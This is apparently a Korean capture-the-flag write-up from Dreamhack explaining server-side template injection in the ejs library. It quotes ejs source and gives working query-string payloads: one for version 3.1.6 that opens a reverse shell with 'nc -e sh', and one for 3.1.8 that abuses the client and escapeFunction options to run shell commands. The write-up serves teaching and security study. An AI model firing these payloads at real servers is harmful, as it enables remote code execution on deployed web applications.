Dreamhack | ejs@3.1.8
ejs@3.1.8 문제 풀이
본 문제는 dreamhack.io를 통해서 풀어 보실 수 있습니다.
해답을 이해하며 생각을 해보면서 풀이 해보시길 바랍니다.
문제 내용
문제 풀이
Welcome ! <%= locals?.name %>
- index.ejs :
name파라미터를 이용한 Templete Page
const express = require('express');
var path = require('path');
const app = express();
const port = 3000;
app.set('views', path.join(__dirname, '/templates'));
app.set('view engine', 'ejs');
app.use(express.urlencoded({ extended: true }));
app.get('/', (req, res) => {
res.render('index', req.query )
})
app.listen(port, () => {})
-
app.js :
app.get()을 통해 Request에 대한 내용을 Rendering 즉, Templete에 대한 값을 반환 -
res.render('index', req.query)함수는 ejs.js 파일에서 441번째인renderFile를 통해서 Rendering이 진행된다.
ejs 3.1.6 PoC
기존 3.1.6 버전에서는 아래의 코드에서 SSTI 취약점이 발견되어 RCE가 가능하였다.
if (args.length) { // 정해진 parameter 아닌 경우
// Should always have data obj
data = args.shift(); // input text
// Normal passed opts (data obj + opts obj)
if (args.length) {
// Use shallowCopy so we don't pollute passed in opts obj with new vals
utils.shallowCopy(opts, args.pop());
}
// Special casing for Express (settings + opts-in-data)
else {
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
}
}
...
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
첫 if문에서 정해진 parameter가 아닌 경우 viewOpts이라는 Object를 이용하여 해당 Object의 view options이라는 settings 값을 이용하여 shallowCopy를 하게 된다.
shallowCopy된 변수는 opts.outputFunctionName의 setting 값을 통해서 입력한 데이터를 Copy하게 되어 RCE를 진행할 수 있다.
shallowCopy는 입력 데이터를 통해 template options을 변경할 수 있기에 이를 Overwrite하여 아래와 같이 ejs 3.1.6 Exploit을 작성 할 수 있다.
?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s
3.1.6에서의 최종 Exploit은 이렇게 진행하였지만 3.1.8에서 패치된 것을 확인하면 아래와 같다.
//ejs 3.1.8
var _JS_IDENTIFIER = /^[a-zA-Z_$][0-9a-zA-Z_$]*$/;
...
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
if (!_JS_IDENTIFIER.test(opts.outputFunctionName)) {
throw new Error('outputFunctionName is not a valid JS identifier.');
}
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
3.1.6에서 사용한 Options 중 outputFunctionName은 _JS__JS_IDENTIFIER 정규 표현식에 의해 필터링되고 있기에 사용이 불가하다.
기존에 Exploit할 때 사용된 opts.outputFunctionName와 같이 shallowCopy하면서 필터링 규칙이 적용되지 않는 세팅 값을 확인해보면 ejs 636 line과 같다.
var escapeFn = opts.escapeFunction;
// 3.1.8 ejs.js 636 line
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
}
opts.client setting 값이 True인 경우 escapeFn String을 이용하게 되는데 해당 변수는 opts.escapeFunction setting 값을 이용하기에 client와 escapeFunction 두 개를 모두 이용하여 Payload를 작성하면 RCE가 가능하게 된다.
?settings[view options][client]=true&settings[view options][escapeFunction]=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');